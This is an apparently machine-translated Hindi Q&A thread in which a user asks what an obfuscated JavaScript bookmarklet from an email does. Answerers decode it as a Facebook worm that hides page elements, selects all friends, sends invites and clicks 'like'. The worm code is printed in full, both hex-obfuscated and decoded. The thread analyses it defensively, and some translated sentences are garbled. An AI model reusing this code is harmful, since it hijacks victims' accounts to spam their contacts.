2010-05-24 16 views
7

ठीक है कोई भी जो मेरा एक अच्छा मित्र बनता है, मुझे कुछ अजीब ईमेल भेज रहा है, जिनमें से एक पृष्ठ के लिए एक लिंक था जो आपको अपने पते पट्टी में कॉपी और पेस्ट करने के लिए कहता है ब्राउज़र फिर इसे अमल ...यह कोड

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

पूरी तरह से इसके साथ किया जा रहा है नहीं है जब यह निम्न स्तर प्रोग्रामिंग क्या ईमेल यहाँ पूछ रहा है मैं के रूप में उत्सुक हूँ की बात आती है ...

कृपया नहीं चला इस कोड के साथ आप खुश हैं कि यह कुछ भी नहीं होगा।

लेकिन ... क्या कोई मुझे बता सकता है कि यह क्या करता है?

+0

इस कीड़े का सिर्फ एक संस्करण: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

उत्तर

11

मैंने पूरी तरह से कोड डीकोड नहीं किया है, लेकिन यहां कुछ संकेत दिए गए हैं।

परिवर्तनीय _0xc100 तारों की एक सरणी को परिभाषित करता है। चरित्र हेक्साडेसिमल के रूप में एन्कोड किया गया है, इसलिए उन्हें पढ़ना अधिक कठिन है। तो, उदाहरण के लिए, \ x76 "v" के बराबर है।

आप इसे सादे पाठ में देखने के लिए alert(_0xc100); सुरक्षित रूप से सुरक्षित कर सकते हैं।

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

इन खोजशब्दों

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

अब एक सरणी युक्त करने के लिए अनुवाद, निम्नलिखित कथनों (उन निष्पादित नहीं) ऐसे कीवर्ड्स का उपयोग वास्तव में कार्यों को निष्पादित करने के।

उदाहरण के लिए:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

(ddocument और mw के रूप में परिभाषित किया गया है शीर्ष पर परिभाषित किया गया है)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

जो एक तत्व app125879300771588_mwrapper

निम्नलिखित बुलाया खाल के बराबर है निर्देश

दें
document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

जो प्रतियां app125879300771588_jode

और

document.getElementById("suggest").click(); 

जो मेरे पास क्लिक अनुमान में app125879300771588_jop की सामग्री के कुछ "का सुझाव" बटन।

अंत में, यह 3 setTimeout कार्यों सेट, 5 सेकंड (5000)

के बाद 3 आदेश पर अमल करने के लिए वे

setTimeout(function() { 
    select_all(); 
    }, 5000); 

कौन सा मैं चयन मान अपने सभी दोस्तों के लिए अनुवाद करते हैं ...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

... भेज उन्हें

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 
आमंत्रित किया है

... और एक बटन जैसे

ध्यान दें कि मैं फेसबुक का उपयोग नहीं करता हूं, और मुझे इसके अंदरूनी और बहिष्कार नहीं पता है, लेकिन मुझे लगता है कि यह स्पष्ट है कि यह कोड दुर्भावनापूर्ण है।

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

यह संभवतः कई फेसबुक कीड़े में से एक का अनुकूलन है जो आपके सभी दोस्तों को भेजता है।

इसी तरह के प्रश्न के लिए here देखें।

इस के अन्य संस्करणों अंधेरा करना p.a.c.k.e.r इस्तेमाल किया है, और इन आसानी से के माध्यम से http://jsbeautifier.org/

4

यह एक obfuscatedbookmarklet है p.a.c.k.e.r कोड चलाकर deobfuscated जा सकता है। आप इसे चलाने के लिए वास्तविक जावास्क्रिप्ट को देखने के लिए इसे (सावधानीपूर्वक) अनबस्केट कर सकते हैं। यदि आपके पास शक्तिशाली जरूरत नहीं है, हालांकि, शायद परेशान करने योग्य नहीं है। मैं इसे बिन कर दूंगा और यह देखने के लिए अपने दोस्त से जांच करूँगा कि क्या वह वास्तव में उससे आ रहा है, और यदि ऐसा है, तो क्यों।

+0

मेरे मित्र ने इसे देखा (और इसे उस मशीन पर चलाएं जिसे हमने नहीं किया था के बारे में परवाह करें) यह पता चलता है कि यह बस इसके लिए एक लिंक है: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War

+0

मैं obfustication से परिचित हूँ ... इस तरह की चीज करने के लिए मैं कौन से टूल्स का उपयोग कर सकता हूं ... कुछ रोचक गेम/चुनौतियों के लिए तैयार होगा। – War

+1

* "मेरे पास एक दोस्त था ... इसे उस मशीन पर चलाएं जिस पर हमें परवाह नहीं है ... यह पता चलता है कि यह सिर्फ एक लिंक है ..." * वास्तव में? 'क्योंकि' SocialGraphManager' के संदर्भ में मुझे बहुत संदिग्ध लग रहा है। देखें: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

संबंधित मुद्दे